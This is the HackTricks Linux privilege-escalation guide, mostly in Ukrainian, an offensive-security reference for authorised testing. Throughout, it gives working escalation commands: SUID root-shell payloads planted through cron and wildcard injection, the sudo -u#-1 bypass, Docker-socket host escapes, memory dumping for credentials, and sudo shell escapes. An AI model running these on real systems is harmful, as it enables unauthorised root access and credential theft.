hacktricks/src/linux-hardening/privilege-escalation/README.md

Linux Privilege Escalation

{{#include ../../banners/hacktricks-training.md}}

Інформація про систему

Інформація про ОС

Почнемо збирати інформацію про запущену ОС

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Якщо ви маєте права на запис у будь-якій директорії в змінній PATH, ви можете hijack деякі бібліотеки або бінарні файли:

echo $PATH

Env info

Цікава інформація, паролі або API-ключі у змінних оточення?

(env || set) 2>/dev/null

Kernel exploits

Перевірте версію ядра і чи є exploit, який можна використати для escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Ви можете знайти хороший список вразливих kernel та деякі вже compiled exploits тут: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
Інші сайти, де можна знайти деякі compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Щоб витягти всі вразливі версії kernel з того сайту, ви можете зробити:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Інструменти, які можуть допомогти знайти kernel exploits:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (виконати на victim, перевіряє лише exploits для kernel 2.x)

Завжди шукайте версію kernel у Google, можливо ваша версія kernel вказана в якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo версія

На основі вразливих версій sudo, що з'являються в:

searchsploit sudo

За допомогою цього grep можна перевірити, чи вразлива версія sudo.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Від @sickrov

sudo -u#-1 /bin/bash

Dmesg signature verification failed

Перевірте smasher2 box of HTB як приклад того, як цю vuln можна експлуатувати

dmesg 2>/dev/null | grep "signature"

Більш детальне перерахування системи

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Перелічте можливі засоби захисту

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Якщо ви перебуваєте всередині docker container, ви можете спробувати вирватися з нього:

{{#ref}} docker-security/ {{#endref}}

Диски

Перевірте що змонтовано і що не змонтовано, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати його і перевірити на наявність конфіденційної інформації.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Корисне програмне забезпечення

Перелічте корисні бінарні файли

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Також перевірте, чи встановлено any compiler. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Встановлене вразливе програмне забезпечення

Перевірте версію встановлених пакетів і сервісів. Можливо, є стара версія Nagios (наприклад), яку можна використати для підвищення привілеїв…
Рекомендується вручну перевіряти версії найбільш підозрілого встановленого програмного забезпечення.

dpkg -l #Debian
rpm -qa #Centos

Якщо у вас є SSH доступ до машини, ви також можете використати openVAS для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині.

[!NOTE] > Зверніть увагу, що ці команди покажуть багато інформації, яка здебільшого буде марною, тому рекомендується використовувати програми на кшталт OpenVAS або подібні, які перевіряють, чи версія встановленого програмного забезпечення вразлива до відомих exploits

Processes

Погляньте, які процеси виконуються, і перевірте, чи якийсь процес має більше привілеїв, ніж повинен (можливо tomcat запускається від root?)

ps aux
ps -ef
top -n 1

Завжди перевіряйте наявність можливих electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas виявляє їх, перевіряючи параметр --inspect у командному рядку процесу.
Також check your privileges over the processes binaries, можливо, ви зможете overwrite їх.

Process monitoring

Ви можете використовувати інструменти на кшталт pspy для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови.

Process memory

Деякі сервіси сервера зберігають credentials in clear text inside the memory.
Зазвичай вам потрібні root privileges для читання пам'яті процесів, що належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти більше credentials.
Проте пам'ятайте, що as a regular user you can read the memory of the processes you own.

Warning

Note that nowadays most machines don't allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.

The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:

• kernel.yama.ptrace_scope = 0: усі процеси можуть бути відлагоджені, якщо вони мають той самий uid. Це класичний спосіб роботи ptrace.
• kernel.yama.ptrace_scope = 1: only a parent process can be debugged.
• kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
• kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.

GDB

Якщо ви маєте доступ до пам'яті сервісу FTP (наприклад), ви можете отримати Heap і шукати всередині його credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Скрипт GDB

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Для заданого ідентифікатора процесу файли maps показують, як пам'ять відображена у віртуальному адресному просторі цього процесу; вони також показують права доступу кожного відображеного регіону. Псевдофайл mem надає доступ до самої пам'яті процесу. З файлу maps ми дізнаємося, які області пам'яті доступні для читання та їхні зсуви. Ми використовуємо цю інформацію, щоб виконати seek у файлі mem і dump усі доступні для читання області в файл.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem надає доступ до фізичної пам'яті системи, а не до віртуальної пам'яті. Віртуальний простір адрес ядра можна отримати через /dev/kmem.
Зазвичай /dev/mem доступний для читання лише для root та групи kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump для linux

ProcDump — це переосмислена для Linux версія класичного інструменту ProcDump із набору Sysinternals для Windows. Отримати можна за адресою https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Інструменти

Щоб дампнути пам'ять процесу, ви можете використати:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Ви можете вручну прибрати вимогу root та зробити дамп процесу, який належить вам
• Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (потрібен root)

Облікові дані з пам'яті процесу

Ручний приклад

Якщо ви виявите, що процес authenticator запущено:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

The tool https://github.com/huntergregal/mimipenguin will викрадати облікові дані у відкритому вигляді з пам'яті and from some well known files. It requires root privileges to work properly.

Функція	Назва процесу
Пароль GDM (Kali Desktop, Debian Desktop)	gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)	gnome-keyring-daemon
LightDM (Ubuntu Desktop)	lightdm
VSFTPd (Активні FTP-з'єднання)	vsftpd
Apache2 (Активні HTTP Basic Auth Sessions)	apache2
OpenSSH (Активні SSH Sessions - Sudo Usage)	sshd:

Пошук регулярних виразів/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Планові/Cron завдання

Crontab UI (alseambusher), запущений від імені root — веб-інтерфейсний планувальник для privesc

Якщо веб‑панель “Crontab UI” (alseambusher/crontab-ui) запущена від імені root і прив'язана лише до loopback, ви все одно можете дістатися до неї через SSH local port-forwarding і створити привілейоване завдання для privesc.

Типовий ланцюжок

• Виявити порт, доступний лише на loopback (наприклад, 127.0.0.1:8000) та Basic-Auth realm за допомогою ss -ntlp / curl -v localhost:8000
• Знайти облікові дані в операційних артефактах:
• Резервні копії/скрипти з zip -P <password>
• systemd unit, який містить Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
• Створити тунель і увійти:

ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate

• Створити high-priv job і запустити негайно (drops SUID shell):

# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell

• Використовуйте це:

/tmp/rootshell -p   # root shell

Підвищення безпеки

• Не запускайте Crontab UI як root; обмежте його виконання виділеним користувачем із мінімальними правами
• Прив'язуйте до localhost та додатково обмежуйте доступ через firewall/VPN; не використовуйте паролі повторно
• Уникайте вбудовування секретів у unit files; використовуйте сховища секретів або root-only EnvironmentFile
• Увімкніть аудит/логування для on-demand job executions

Перевірте, чи якась scheduled job уразлива. Можливо, ви зможете скористатися скриптом, що виконується від імені root (wildcard vuln? чи можна змінити файли, які використовує root? use symlinks? створити певні файли в директорії, яку використовує root?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron path

Наприклад, всередині /etc/crontab ви можете знайти PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Зверніть увагу, що користувач "user" має права запису в /home/user)

Якщо всередині цього crontab користувач root намагається виконати команду або скрипт без встановлення PATH. Наприклад: * * * * root overwrite.sh\

Тоді ви можете отримати root shell, використавши:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron using a script with a wildcard (Wildcard Injection)

Якщо скрипт, який виконується під root, має “*” у команді, ви можете використати це, щоб зробити несподівані речі (наприклад privesc). Приклад:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Якщо wildcard розташований після шляху, наприклад /some/path/* , він не є вразливим (навіть ./* не є вразливим).

Прочитайте наступну сторінку для додаткових трюків експлуатації wildcard:

{{#ref}} wildcards-spare-tricks.md {{#endref}}

Bash arithmetic expansion injection in cron log parsers

Bash виконує parameter expansion та command substitution перед arithmetic evaluation в ((...)), $((...)) та let. Якщо root cron/parser читає untrusted log fields і підставляє їх в arithmetic context, атакуючий може інжектити command substitution $(...), яке виконається як root під час запуску cron.

• Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like $(/bin/bash -c 'id > /tmp/pwn')0 is first substituted (running the command), then the remaining numeric 0 is used for the arithmetic so the script continues without errors.

• Typical vulnerable pattern:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log

• Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.

# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Cron script overwriting and symlink

If you can modify a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Якщо скрипт, який виконується від імені root, використовує каталог, у якому у вас повний доступ, можливо, буде корисно видалити цю папку і створити symlink-папку, що вказує на інший каталог, яка подаватиме скрипт, контрольований вами

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Часті cron jobs

Ви можете моніторити процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges.

Наприклад, щоб моніторити кожні 0.1s протягом 1 хвилини, відсортувати за найменшою кількістю виконань команд і видалити команди, які були виконані найчастіше, ви можете зробити так:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Ви також можете використовувати pspy (воно моніторитиме та перелічуватиме кожен процес, що запускається).

Невидимі cron jobs

Можна створити cronjob, додавши символ повернення каретки після коментаря (без символу нового рядка), і cron job працюватиме. Приклад (зверніть увагу на символ повернення каретки):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Сервіси

Файли .service, доступні для запису

Перевірте, чи можете ви записувати будь-який .service файл; якщо так, ви можете модифікувати його, щоб він виконував ваш backdoor при запуску, перезапуску або зупинці service (можливо, доведеться почекати, поки машина буде rebooted).
Наприклад, розмістіть ваш backdoor всередині .service файлу з ExecStart=/tmp/script.sh

Бінарні файли сервісів, доступні для запису

Майте на увазі, що якщо у вас є write permissions over binaries being executed by services, ви можете змінити їх на backdoors, тож коли services будуть повторно виконані, backdoors будуть виконані.

systemd PATH - Relative Paths

Ви можете побачити PATH, який використовує systemd, за допомогою:

systemctl show-environment

Якщо ви виявите, що можете write в будь-якій із папок цього шляху, ви можете отримати можливість escalate privileges. Вам потрібно шукати relative paths being used on service configurations у файлах, таких як:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Потім створіть виконуваний файл з тим самим ім'ям, що й бінарний файл за відносним шляхом у папці PATH systemd, у яку ви маєте права запису, і коли службі буде доручено виконати вразливу дію (Start, Stop, Reload), ваш бекдор буде виконано (непривілейовані користувачі зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете ви використати sudo -l).

Дізнайтесь більше про служби за допомогою man systemd.service.

Timers

Timers — це unit-файли systemd, назви яких закінчуються на **.timer**, які контролюють **.service** файли або події. Timers можна використовувати як альтернативу cron, оскільки вони мають вбудовану підтримку подій календарного часу та монотонних часових подій і можуть виконуватись асинхронно.

Ви можете перерахувати всі таймери за допомогою:

systemctl list-timers --all

Записувані таймери

Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі одиниці systemd.unit (наприклад, .service або .target)

Unit=backdoor.service

У документації можна прочитати, що таке Unit:

Юніт, який потрібно активувати, коли цей таймер спливає. Аргумент — це ім'я юніта, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає сервісу, який має те саме ім'я, що й таймер, за винятком суфіксу. (Див. вище.) Рекомендується, щоб ім'я юніта, що активується, і ім'я таймер-юніта були ідентичні, за винятком суфіксу.

Тому, щоб зловживати цим дозволом, потрібно:

• Знайти якийсь systemd unit (наприклад, .service), який виконує бінарний файл, доступний для запису
• Знайти якийсь systemd unit, який запускає виконуваний файл за відносним шляхом і над яким у вас є привілеї запису у systemd PATH (щоб підмінити цей виконуваний файл)

Дізнайтеся більше про таймери за допомогою man systemd.timer.

Включення таймера

Щоб увімкнути таймер, потрібні права root і потрібно виконати:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Сокети

Unix Domain Sockets (UDS) дозволяють взаємодію процесів на тій самій або різних машинах у моделях клієнт‑сервер. Вони використовують стандартні Unix descriptor файли для міжкомп’ютерного зв’язку і налаштовуються через файли .socket.

Сокети можуть бути налаштовані за допомогою файлів .socket.

Детальніше про sockets дивіться в man systemd.socket. У цьому файлі можна налаштувати кілька цікавих параметрів:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Ці опції відрізняються, але узагальнено використовуються для вказівки, де буде здійснюватися прослуховування сокета (шлях до файлу AF_UNIX socket, IPv4/6 та/або номер порту для прослуховування тощо).
• Accept: Приймає булевий аргумент. Якщо true, для кожного вхідного з'єднання створюється окремий екземпляр сервісу, і йому передається лише сокет цього з'єднання. Якщо false, усі прослуховуючі сокети передаються до одного запущеного сервіс‑юниту, і для всіх з'єднань створюється лише один сервіс‑юнит. Це значення ігнорується для datagram сокетів і FIFO, де один сервіс‑юнит безумовно обробляє весь вхідний трафік. За замовчуванням — false. З міркувань продуктивності рекомендується писати нові демони так, щоб вони були сумісні з Accept=no.
• ExecStartPre, ExecStartPost: Приймають одну або декілька командних рядків, які виконуються до або після створення та прив'язки прослуховуючих сокетів/FIFO, відповідно. Першим токеном командного рядка має бути абсолютне ім'я файлу, після якого йдуть аргументи процесу.
• ExecStopPre, ExecStopPost: Додаткові команди, які виконуються до або після закриття та видалення прослуховуючих сокетів/FIFO, відповідно.
• Service: Вказує ім'я сервіс‑юниту, який активується при вхідному трафіку. Ця опція дозволена тільки для сокетів з Accept=no. За замовчуванням використовується сервіс з таким самим ім'ям, як і сокет (з відповідною заміною суфікса). У більшості випадків використання цієї опції не є необхідним.

Файли .socket з правом запису

Якщо ви знайдете файл .socket, доступний для запису, ви можете додати на початку секції [Socket] щось на кшталт: ExecStartPre=/home/kali/sys/backdoor, і backdoor буде виконано перед створенням сокета. Тому вам ймовірно доведеться почекати до перезавантаження машини.
Зверніть увагу, що система має використовувати цю конфігурацію файлу .socket, інакше backdoor не буде виконано.

Сокети, доступні для запису

Якщо ви виявите будь‑який сокет, доступний для запису (тут мова про Unix Sockets, а не про конфігураційні файли .socket), то ви можете спілкуватися з цим сокетом і, можливо, експлуатувати вразливість.

Перелічення Unix сокетів

netstat -a -p --unix

Сире з'єднання

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Приклад експлуатації:

{{#ref}} socket-command-injection.md {{#endref}}

HTTP сокети

Зауважте, що можуть бути деякі сокети, що слухають HTTP запити (я не говорю про .socket файли, а про файли, що виступають у ролі unix sockets). Ви можете перевірити це за допомогою:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Якщо сокет відповідає на HTTP-запит, то ви можете з ним спілкуватися і, можливо, експлуатувати якусь вразливість.

Docker сокет з правами на запис

The Docker socket, often found at /var/run/docker.sock, є критичним файлом, який потрібно захистити. За замовчуванням він доступний для запису користувачу root та членам групи docker. Маючи доступ на запис до цього сокету, ви можете досягти privilege escalation. Нижче — розбивка того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний.

Privilege Escalation with Docker CLI

Якщо ви маєте доступ на запис до Docker сокету, ви можете escalate privileges, використовуючи наступні команди:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Ці команди дозволяють запустити контейнер з root-доступом до файлової системи хоста.

Використання Docker API безпосередньо

У випадках, коли Docker CLI недоступний, docker socket все ще можна використовувати через Docker API та команди curl.

1. List Docker Images: Отримати список доступних images.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Create a Container: Надішліть запит на створення контейнера, який монтує кореневий каталог хоста.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Запустіть щойно створений контейнер:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Attach to the Container: Використайте socat для встановлення з'єднання з контейнером, що дозволить виконувати команди всередині нього.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Після налаштування з'єднання через socat ви зможете виконувати команди безпосередньо в контейнері з root-доступом до файлової системи хоста.

Інше

Зверніть увагу, що якщо у вас є права на запис у docker socket через те, що ви входите до групи docker, у вас є більше способів ескалації привілеїв. Якщо docker API слухає порт ви також можете бути в змозі скомпрометувати його.

Перевірте більше способів вийти з docker або зловживати ним для ескалації привілеїв в:

{{#ref}} docker-security/ {{#endref}}

Containerd (ctr) підвищення привілеїв

Якщо ви виявите, що можете використовувати команду ctr, прочитайте наступну сторінку, оскільки ви можете зловживати нею для ескалації привілеїв:

{{#ref}} containerd-ctr-privilege-escalation.md {{#endref}}

RunC підвищення привілеїв

Якщо ви виявите, що можете використовувати команду runc, прочитайте наступну сторінку, оскільки ви можете зловживати нею для ескалації привілеїв:

{{#ref}} runc-privilege-escalation.md {{#endref}}

D-Bus

D-Bus — це складна система міжпроцесної взаємодії (inter-Process Communication (IPC) system), яка дозволяє застосункам ефективно взаємодіяти та обмінюватися даними. Розроблена для сучасних Linux-систем, вона пропонує надійну структуру для різних форм комунікації між застосунками.

Система є універсальною, підтримуючи базові IPC-механізми, що покращують обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події або сигнали, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може змусити музичний плеєр приглушити звук, покращуючи користувацький досвід. Додатково, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити сервісів і виклики методів між застосунками, що робить складні процеси простішими.

D-Bus працює за моделлю allow/deny, керуючи дозволами на повідомлення (виклики методів, емісії сигналів тощо) на основі кумулятивного ефекту правил політики, що збігаються. Ці політики визначають взаємодії з шиною, що потенційно може призвести до ескалації привілеїв через експлуатацію цих дозволів.

Приклад такої політики в /etc/dbus-1/system.d/wpa_supplicant.conf наведено нижче, що детально описує дозволи для користувача root володіти, надсилати та отримувати повідомлення від fi.w1.wpa_supplicant1.

Політики без вказаного користувача або групи застосовуються універсально, тоді як політики в контексті "default" застосовуються до всіх, хто не покритий іншими специфічними політиками.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Дізнайтеся, як enumerate та exploit D-Bus communication тут:

{{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}}

Мережа

Завжди цікаво виконати enumerate мережі та визначити, де знаходиться машина.

Загальна enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Відкриті порти

Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не могли взаємодіяти до отримання доступу:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі credentials.

timeout 1 tcpdump

Користувачі

Загальна енумерація

Перевірте, хто ви, які у вас привілеї, які користувачі є в системі, хто може login і хто має root привілеї:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Деякі версії Linux були вразливі до бага, який дозволяє користувачам з UID > INT_MAX підвищувати привілеї. Детальніше: here, here and here.
Експлуатувати за допомогою: systemd-run -t /bin/bash

Groups

Перевірте, чи ви є членом якоїсь групи, яка може надати вам привілеї root:

{{#ref}} interesting-groups-linux-pe/ {{#endref}}

Clipboard

Перевірте, чи є у буфері обміну щось цікаве (якщо це можливо)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Політика паролів

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Відомі паролі

Якщо ви знаєте будь-який пароль у середовищі, спробуйте увійти під кожним користувачем, використовуючи цей пароль.

Su Brute

Якщо вас не лякає велика кількість шуму і бінарні файли su та timeout присутні на комп'ютері, ви можете спробувати перебрати пароль користувача за допомогою su-bruteforce.
Linpeas з параметром -a також намагається перебрати паролі користувачів.

Зловживання записуваними елементами $PATH

$PATH

Якщо ви виявите, що можете записувати в якусь папку з $PATH, ви можете підвищити привілеї, створивши backdoor у цій записуваній папці з іменем команди, яка має виконуватися іншим користувачем (ідеально — root), і яка не завантажується з папки, що розташована перед вашою записуваною папкою в $PATH.

SUDO та SUID

Вам може бути дозволено виконати певну команду за допомогою sudo або вони можуть мати suid-біт. Перевірте це за допомогою:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Деякі неочікувані команди дозволяють читати і/або записувати файли або навіть виконувати команду. Наприклад:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Конфігурація Sudo може дозволити користувачеві виконати певну команду з привілеями іншого користувача без знання пароля.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

